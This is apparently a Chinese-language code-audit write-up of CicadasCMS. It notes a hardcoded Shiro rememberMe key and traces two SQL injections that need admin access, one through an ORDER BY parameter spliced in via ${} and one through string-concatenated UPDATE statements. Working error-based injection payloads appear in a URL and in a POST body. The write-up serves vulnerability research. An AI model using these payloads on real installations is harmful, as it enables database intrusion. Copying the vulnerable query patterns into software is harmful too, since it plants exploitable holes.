项目介绍

CicadasCMS是用springboot+mybatis+beetl开发的一款CMS,支持自定义内容模型、模板标签、全站静态化等功能。

部署

下载源码: https://gitee.com/westboy/CicadasCMS

更改数据库账号密码 端口号可改可不改

创建数据库 cms_demo 导入表结构和测试数据

运行 main 方法。具体手册在 doc/建站系统文档.docx

Shiro 默认密钥

简单观察可以发现 项目采用 Shiro 框架进行身份验证管理

定位到 src/main/java/com/zhiliao/component/shiro/ShiroConfiguration.java 存在默认密钥硬编码

根据 shiroFilter 得到 CookieRememberMeManager 处理路径。

随便找一条 cookie 验证接口 以 192.168.6.41:8080/system/user/list 为例 (项目环境为 JDK8u65

SQL 注入(TCmsContentMapper.xml)

(需要后台权限)

大致看了一下,发现大多使用的预编译处理,不存在 SQL注入。但是我们知道,预编译的实现规则,并不能直接处理动态 SQL 。例如比较经典的 排序注入。

直接定位到 src/main/resources/com/zhiliao/mybatis/mapper/TCmsContentMapper.xml

 <select id="selectByCondition" parameterType="com.zhiliao.mybatis.model.TCmsContent" resultMap="BaseResultMap">
        SELECT
        *
        FROM
        t_cms_content
        <trim prefix="WHERE ("  suffix=")" prefixOverrides="AND|OR">
            <if test="title!=null and title!=''">
                title like CONCAT('%',#{title,jdbcType=VARCHAR},'%')
            </if>
            <if test="siteId!=null">
                and  site_id = #{siteId,jdbcType=INTEGER}
            </if>
            <if test="categoryId!=null">
                and  category_id = #{categoryId,jdbcType=BIGINT}
            </if>
            <if test="status!=null">
                and  status = #{status,jdbcType=INTEGER}
            </if>
            <if test="status==null">
                and  status in(0,1)
            </if>
        </trim>
        <choose>
            <when test="orderField!=null and orderField!='' and orderDirection!=null and orderDirection!='' ">
                order by ${orderField} ${orderDirection}
            </when>
            <otherwise>
                order by content_id  DESC
            </otherwise>
        </choose>
    </select>

关注到 其中 order by ${orderField} ${orderDirection} 可以看到为了实现动态排序,采用的拼接写法。

既然有了思路,那么我们逆推定位入口即可。

定位到Mappersrc/main/java/com/zhiliao/mybatis/mapper/TCmsContentMapper.java

跟进用法 src/main/java/com/zhiliao/module/web/cms/service/impl/ContentServiceImpl.java

得到两个 page 方法实现

节省时间,我们由 MVC 常用思想快速定位到 Controller层 page方法 src/main/java/com/zhiliao/module/web/cms/ContentController.java

可以看到 传入参数为 contentTCmsContentVo 对象。

继续查看 TCmsContentVo 对象得到实际传参字段。

orderField
orderDirection

总结调用链

浏览器传参 -> ContentController ->  重构TCmsContentVo对象 -> ContentService -> ContentServiceImpl -> TCmsContentMapper

报错注入验证:

http://192.168.6.41:8080/system/cms/content/page?orderField=extractvalue(1, concat(0x7e, database()))&orderDirection=ASC

SQL 注入(ContentServiceImpl.java)

(需要后台权限)

全局搜索 statement

定位到 src/main/java/com/zhiliao/module/web/cms/service/impl/ContentServiceImpl.java

int status =statement.executeUpdate(exeSql);
statement.close();
connection.close();

可以看到 statement 非预编译,手动添加上 调试打印方便测试。定位回 Controller 层寻找入口调用。

定位到 src/main/java/com/zhiliao/module/web/cms/ContentController.javasave 方法

复杂逻辑先直接不看,通过 Controller 注释,定位到后台内容管理

编辑 -> 降低内容复杂度 -> 保存发布 -> 抓包

得到 控制台输出 执行的 SQL 语句

随便找个支持构造的参数构造 (测试或者阅读代码可以发现 支持字段 content fujianlaiyuan )

构造 参数 fujian 放包:

contentId=124415&userId=1&siteId=1&tableName=&status=1&title=1&keywords=1&description=11111111111&categoryId=209&thumb=&url=http%3A%2F%2Faaa.com&viewNum=12&author=admin&tags=&content=aaaa&fujian=1' and extractvalue(1, concat(0x7e, version())) and '1&laiyuan=1

观察控制台输出 以及 报文返回:

UPDATE t_cms_content_news set `content`='aaaa', `fujian`='1' and extractvalue(1, concat(0x7e, version())) and '1', `laiyuan`='1'where `content_id`=124415;

代码分析:

保存逻辑save 方法接收一个包含主键 contentId 和其他信息的 content 对象,并将所有表单数据保存到 formParam 对象中。这个对象存储了扩展字段及对应的值。

  • 如果 contentId 不为空,则调用 contentService.update 更新数据;否则,调用 contentService.save 保存数据。

  • contentIdTCmsContent 被定义为 Long 类型 ,利用不了

相关方法

  1. ContentServiceImpl.update

    • 调用 SaveModelFiledParam 方法来保存数据。

  2. ContentServiceImpl.SaveModelFiledParam

    • 首先检查表单数据是否为空;

    • 然后遍历表单数据,将各个字段和值动态拼接到 SQL 的 exeSql 插入语句中(更新语句逻辑相同);

    • 最后执行该 exeSql 语句。



国家一级保护废物